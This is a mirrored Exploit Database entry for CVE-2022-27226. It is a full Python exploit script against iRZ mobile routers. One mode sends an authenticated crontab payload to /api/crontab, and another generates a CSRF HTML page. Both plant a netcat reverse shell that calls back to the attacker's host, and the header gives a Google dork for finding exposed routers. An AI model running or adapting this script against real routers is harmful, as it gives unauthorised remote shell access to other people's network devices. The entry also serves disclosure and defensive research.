iRZ Mobile Router – CSRF to RCE

• Exploit Database
• 109 阅读

• 作者： John Jackson
  日期： 2022-03-22
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50832/

• # Exploit Title: iRZ Mobile Router - CSRF to RCE
  # Google Dork: intitle:"iRZ Mobile Router"
  # Date: 2022-03-18
  # Exploit Author: Stephen Chavez & Robert Willis
  # Vendor Homepage: https://en.irz.ru/
  # Software Link: https://github.com/SakuraSamuraii/ez-iRZ
  # Version: Routers through 2022-03-16
  # Tested on: RU21, RU21w, RL21, RU41, RL01
  # CVE : CVE-2022-27226
  
  import os
  import requests
  import json
  import subprocess
  
  option = "0"
  
  
  def main():
  print("####################################################")
  print("# Welcome to IRZ CSRF to RCE Exploit - version 1.0 #")
  print("####################################################")
  print()
  print("## by RedragonX of WHG & rej_ex of SAKURA SAMURAI ##")
  print()
  print("1. Post Authentication RCE (Needs Credentials)")
  print("2. CSRF to RCE (No Credentials)")
  print()
  runit()
  
  
  def runit():
  option = input("Select an option: ")
  if option == "1":
  exploit1()
  elif option == "2":
  exploit2()
  else:
  print("You must select '1' or '2'. Exiting.")
  
  
  def exploit1():
  print("## Running Post Auth RCE exploit")
  print()
  print()
  router_ip = input("## Enter the router ip to exploit: ")
  router_port = int(
  input("## Enter the victim router web page port (default is 80): ") or "80")
  
  router_user = input("## Enter the username for the router login: ")
  router_pass = input("## Enter the password for the router login: ")
  
  LHOST = input("## Enter the LHOST for the router reverse shell: ")
  LPORT = input("## Enter the LPORT for the router reverse shell: ")
  
  router_url = f'http://{router_ip}:{router_port}'
  
  nc1_str = f'Start a listener with the following command: nc -lvp {LPORT}'
  
  input(nc1_str + "\n\nPress enter once you do")
  
  send_json_payload(router_url, router_user, router_pass, LHOST, LPORT)
  
  
  def send_json_payload(router_url, router_user, router_pass, lhost_ip, lhost_port):
  
  intro = f'Sending the payload to {router_url}\n'
  print(intro)
  payload_str = '{"tasks":[{"enable":true,"minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
  f'{lhost_ip} {lhost_port} ' + \
  '>/tmp/f"}],"_board":{"name":"RL21","platform":"irz_mt02","time":"Wed Mar 16 16:43:20 UTC 2022"}}'
  
  payload_json = json.loads(payload_str)
  
  s = requests.Session()
  
  s.auth = (router_user, router_pass)
  
  s.headers.update(
  {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"})
  s.headers.update({"X-Requested-With": "XMLHttpRequest"})
  s.headers.update({"Origin": router_url})
  s.headers.update({"Referer": router_url})
  
  s.post(router_url + "/api/crontab", json=payload_json)
  
  exploit_str = f'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} 443 >/tmp/f'
  
  print(
  "Request sent! You may have to wait about 2 minutes to get a shell. \nFirst shell will die due to crontab job. Start a new listener on a new port [e.g. 443], and run the following command: " + exploit_str)
  print("To fix TTY: type telnet 0.0.0.0 in the shell")
  
  
  def exploit2():
  
  print("## Running CSRF to RCE exploit")
  print()
  print()
  router_ip = input("## Enter the router ip to exploit: ")
  router_port = int(
  input("## Enter the victim router web page port (default is 80): ") or "80")
  
  LHOST = input("## Enter the LHOST for the router reverse shell: ")
  LPORT = input("## Enter the LPORT for the router reverse shell: ")
  
  load_csrf_poc_file(router_ip, router_port, LHOST, LPORT)
  
  
  def load_csrf_poc_file(router_ip, router_port, lhost_ip, lhost_port):
  
  file_path = os.path.dirname(__file__) + os.sep + "poc.template.html"
  
  if os.path.isfile(file_path):
  with open(file_path) as poc_file:
  original_poc_data_str = poc_file.read()
  
  new_html = original_poc_data_str.replace("{router_ip}", router_ip)
  new_html = new_html.replace(
  "{router_port}", str(router_port))
  
  lhost_split_arr = lhost_ip.split(".")
  
  if len(lhost_split_arr) == 4:
  
  new_html = new_html.replace(
  "{lhost_ip_octect_1}", lhost_split_arr[0])
  
  new_html = new_html.replace(
  "{lhost_ip_octect_2}", lhost_split_arr[1])
  
  new_html = new_html.replace(
  "{lhost_ip_octect_3}", lhost_split_arr[2])
  new_html = new_html.replace(
  "{lhost_ip_octect_4}", lhost_split_arr[3])
  
  new_html = new_html.replace(
  "{lhost_port}", lhost_port)
  
  new_file_path = os.path.dirname(
  __file__) + os.sep + "poc.new.html"
  try:
  with open(new_file_path, 'w') as new_file:
  new_file.write(new_html)
  
  print()
  print(
  f'New file written to {new_file_path}. Host this file')
  except FileNotFoundError:
  print("You had an error writing to the file, doesn't exist.")
  else:
  print(f'{lhost_ip} is not a proper IPV4 address.')
  
  else:
  print(f'{file_path} not found')
  
  
  main()
  

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